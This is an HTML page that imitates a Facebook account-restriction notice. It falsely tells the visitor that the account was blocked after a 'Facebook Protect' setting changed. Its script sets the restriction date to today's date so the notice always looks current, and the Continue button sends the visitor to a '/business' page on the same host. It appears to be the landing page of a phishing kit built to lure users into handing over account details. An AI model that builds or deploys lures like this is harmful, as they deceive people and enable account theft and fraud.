
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Account Restriction Notice</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Poppins', sans-serif;
            background-color: #f0f2f5;
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }

        .fb-container {
            background: #fff;
            padding: 40px 30px;
            border-radius: 12px;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            max-width: 600px;
            text-align: center;
        }

        .fb-container img {
            width: 100px;
            margin-bottom: 20px;
        }

        h1 {
            font-size: 24px;
            font-weight: 700;
            color: #333;
            margin-bottom: 10px;
        }

        p {
            font-size: 15px;
            color: #555;
            line-height: 1.6;
        }

        .alert {
            background: #f8f9fa;
            border: 1px solid #ddd;
            color: #333;
            padding: 20px;
            display: flex;
            align-items: center;
            border-radius: 8px;
            margin: 20px 0;
        }

        .alert svg {
            margin-right: 15px;
        }

        .btn-continue {
            background-color: #1877f2;
            color: #fff;
            font-size: 16px;
            padding: 14px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            width: 100%;
            transition: background-color 0.3s ease;
        }

        .btn-continue:hover {
            background-color: #166fe5;
        }

        @media (max-width: 576px) {
            .fb-container {
                padding: 25px;
            }

            h1 {
                font-size: 20px;
            }

            .btn-continue {
                font-size: 14px;
            }
        }
    </style>
</head>
<body>
    <div class="fb-container">
        <img src="./gembok.png" alt="Lock Icon" style="width: 60%; margin-bottom: 20px;">
        <h1>Your Account Will Be Restricted</h1>
        <p>We have temporarily blocked your account because your Facebook Protect setting has been modified.</p>
        <div class="alert">
            <svg xmlns="http://www.w3.org/2000/svg" width="35" height="35" fill="currentColor" class="text-warning bi bi-exclamation-triangle" viewBox="0 0 16 16">
                <path d="M7.938 2.016A.13.13 0 0 1 8.002 2a.13.13 0 0 1 .063.016.15.15 0 0 1 .054.057l6.857 11.667c.036.06.035.124.002.183a.2.2 0 0 1-.054.06.1.1 0 0 1-.066.017H1.146a.1.1 0 0 1-.066-.017.2.2 0 0 1-.054-.06.18.18 0 0 1 .002-.183L7.884 2.073a.15.15 0 0 1 .054-.057m1.044-.45a1.13 1.13 0 0 0-1.96 0L.165 13.233c-.457.778.091 1.767.98 1.767h13.713c.889 0 1.438-.99.98-1.767z"></path>
                <path d="M7.002 12a1 1 0 1 1 2 0 1 1 0 0 1-2 0M7.1 5.995a.905.905 0 1 1 1.8 0l-.35 3.507a.552.552 0 0 1-1.1 0z"></path>
            </svg>
            <div>
                <strong>Your page was restricted on <br><span id="tampil">2 January 2025</span></strong>
                <p>We did this to protect your account from being suspended.</p>
            </div>
        </div>
        <p>We will guide you through some steps to lift the page restriction and unlock your account.</p>
        <button class="btn-continue" id="continueButton">Continue</button>
    </div>
     <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
 <script>
        $(document).ready(function() {
            // Thêm sự kiện click cho nút continue
            $('#continueButton').on('click', function(e) {
                e.preventDefault();
                // Lấy root domain
                var rootDomain = window.location.origin;
                // Lấy folder hiện tại từ URL
                var currentFolder = window.location.pathname.split('/')[1] || ''; // Nu không có folder, sử dụng chuỗi rỗng

                // Chuyển hướng tới URL mới
                window.location.href = rootDomain + (currentFolder ? '/' + currentFolder : '') + '/business';
            });
        });
        // Danh sách ngôn ngữ hỗ trợ


    </script>
    <script>
        const date = new Date();
        const months = [
            "January", "February", "March", "April", "May",
            "June", "July", "August", "September", "October", "November", "December"
        ];
        const formattedDate = `${date.getDate()} ${months[date.getMonth()]} ${date.getFullYear()}`;
        document.getElementById("tampil").textContent = formattedDate;
    </script>
</body>
</html>
